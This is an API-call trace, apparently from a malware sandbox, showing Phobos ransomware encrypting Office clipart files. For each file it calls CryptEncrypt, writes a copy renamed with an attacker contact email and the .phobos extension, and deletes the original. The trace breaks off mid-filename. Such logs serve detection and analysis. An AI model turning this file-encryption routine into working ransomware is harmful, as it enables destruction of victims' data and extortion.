1 [0132.890] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0132.890] CryptDestroyKey (hKey=0x752c58) returned 1 [0132.890] CloseHandle (hObject=0x310) returned 1 [0132.890] CloseHandle (hObject=0x30c) returned 1 [0132.890] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0132.891] SetEvent (hEvent=0x2b8) returned 1 [0132.891] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.891] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=900) returned 1 [0132.891] CloseHandle (hObject=0x30c) returned 1 [0132.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0132.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0132.892] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.892] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0132.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0132.892] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752cd8) returned 1 [0132.892] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0132.892] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x384, lpOverlapped=0x0) returned 1 [0132.955] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x390, dwBufLen=0x390 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x390) returned 1 [0132.955] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x390, lpOverlapped=0x0) returned 1 [0133.013] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0133.013] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.014] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.014] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.014] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.014] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.014] CloseHandle (hObject=0x30c) returned 1 [0133.014] CloseHandle (hObject=0x310) returned 1 [0133.014] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0133.015] SetEvent (hEvent=0x2b8) returned 1 [0133.015] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.015] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2324) returned 1 [0133.015] CloseHandle (hObject=0x310) returned 1 [0133.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0133.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.015] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.016] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.016] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752ed8) returned 1 [0133.016] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.016] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x914, lpOverlapped=0x0) returned 1 [0133.145] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x920, dwBufLen=0x920 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x920) returned 1 [0133.145] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x920, lpOverlapped=0x0) returned 1 [0133.146] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0133.146] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.146] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.146] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.146] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.146] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.146] CloseHandle (hObject=0x310) returned 1 [0133.146] CloseHandle (hObject=0x30c) returned 1 [0133.146] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0133.147] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.147] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=552) returned 1 [0133.147] CloseHandle (hObject=0x30c) returned 1 [0133.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0133.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.148] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.148] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.148] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f58) returned 1 [0133.148] CryptSetKeyParam (hKey=0x752f58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.148] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x228, lpOverlapped=0x0) returned 1 [0133.149] CryptEncrypt (in: hKey=0x752f58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x230, dwBufLen=0x230 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x230) returned 1 [0133.149] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x230, lpOverlapped=0x0) returned 1 [0133.152] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0133.152] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.152] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.152] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.152] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.152] CryptDestroyKey (hKey=0x752f58) returned 1 [0133.152] CloseHandle (hObject=0x30c) returned 1 [0133.152] CloseHandle (hObject=0x310) returned 1 [0133.152] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0133.153] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.153] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=4148) returned 1 [0133.153] CloseHandle (hObject=0x310) returned 1 [0133.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0133.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.154] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.154] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.154] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0133.154] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.154] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1034, lpOverlapped=0x0) returned 1 [0133.162] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1040, dwBufLen=0x1040 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1040) returned 1 [0133.162] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1040, lpOverlapped=0x0) returned 1 [0133.165] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752b18) returned 1 [0133.165] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.165] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.165] CryptDestroyKey (hKey=0x752b18) returned 1 [0133.165] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.165] CryptDestroyKey (hKey=0x753098) returned 1 [0133.165] CloseHandle (hObject=0x310) returned 1 [0133.165] CloseHandle (hObject=0x30c) returned 1 [0133.165] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0133.166] SetEvent (hEvent=0x2b8) returned 1 [0133.166] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.166] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2300) returned 1 [0133.166] CloseHandle (hObject=0x30c) returned 1 [0133.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0133.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.167] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.167] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.167] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e98) returned 1 [0133.167] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.167] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x8fc, lpOverlapped=0x0) returned 1 [0133.217] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x900, dwBufLen=0x900 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x900) returned 1 [0133.217] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x900, lpOverlapped=0x0) returned 1 [0133.218] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752dd8) returned 1 [0133.218] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.218] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.218] CryptDestroyKey (hKey=0x752dd8) returned 1 [0133.218] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.218] CryptDestroyKey (hKey=0x752e98) returned 1 [0133.218] CloseHandle (hObject=0x30c) returned 1 [0133.218] CloseHandle (hObject=0x310) returned 1 [0133.218] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0133.219] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.219] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1382) returned 1 [0133.219] CloseHandle (hObject=0x310) returned 1 [0133.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0133.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.220] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.220] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft 